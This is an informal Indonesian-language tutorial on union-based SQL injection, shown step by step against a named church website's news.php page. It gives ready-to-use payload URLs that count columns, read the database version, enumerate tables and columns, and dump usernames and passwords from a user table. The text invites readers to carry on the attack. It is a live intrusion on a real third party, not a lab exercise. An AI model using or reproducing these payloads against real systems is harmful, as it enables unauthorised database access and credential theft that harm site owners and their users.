Tutorial SQLI with Latin

=========================

   --==::VHESCKOT_1601::==--

=========================

Disini gw mau sharing tentang bagaimana tekhnik SQL injection using latin.
Oke sebelumnya tolong siapkan beberapa cemilan,,kopi,,dan rokok A-Mild.


1. Pertama berdoa dulu semoga aja ada bug dan berhasil...!!!

2. Lalu kita cari bug/celah dari web tersebut.

http://www.libertychurch.info/news.php?id=927 >>>> tambahin - or '
http://www.libertychurch.info/news.php?id=-927

Eh ada bug.... (ane lanjutin punya kawan nicknya 0che_aneh)

3. cari orderby nya sampe berapa

http://www.libertychurch.info/news.php?id=-927+order+by+1--
http://www.libertychurch.info/news.php?id=-927+order+by+2--
http://www.libertychurch.info/news.php?id=-927+order+by+7-- >>>>>>> error

4. Lihat di nomor berapa tuh errornya,,kalo error diangka 7 berarti unionnya sampe 6 aja jangan banyak2 nanti muntah....
keluar gede banget tuh angka 4 dan angka 5.....kita mainkan deh
Lihat versinya 5 apa 4...kalo 4 ini tutor terhenti deh...
males tebak-tebakan kalo 4.....

http://www.libertychurch.info/news.php?id=-927+union+all+select+1,2,3,convert(version()+using+latin1),convert(database()+using+latin1),6--

5. Alhamdulillah versi 5,,jadi gak perlu tebak-tebakan....
Langsung aja lihat tablenya....

http://www.libertychurch.info/news.php?id=-927+union+all+select+1,2,3,convert(group_concat(table_name)+using+latin1),convert(database()+using+latin1),6+from%20information_schema.tables%20where%20table_schema=database()--

5. Eh dapet tabelnya tuh.....
eh ada "tb_users"
langsung aje ane encode to hex deh di web andelan ane....
http://www.string-functions.com/string-hex.aspx

6. Abis itu ane liat deh columnnya apa aja.....

http://www.libertychurch.info/news.php?id=-927+union+all+select+1,2,3,convert(group_concat(column_name)+using+latin1),convert(database()+using+latin1),6+from%20information_schema.columns%20where%20table_name=0x74625f7573657273--


7. banyak banget tuh bermunculan yang gak jelas juga....
tanpa basa-basi langsung aje ane liat user dan passnya.

http://www.libertychurch.info/news.php?id=-927+union+all+select+1,2,3,convert(group_concat(user_name,0x3a,user_password)+using+latin1),convert(database()+using+latin1),6+from+tb_users--


eh keluar semua deh...!!!!
yawda deh silahkan diteruskan,, kayaknya sampe situ udah jelas banget...!!!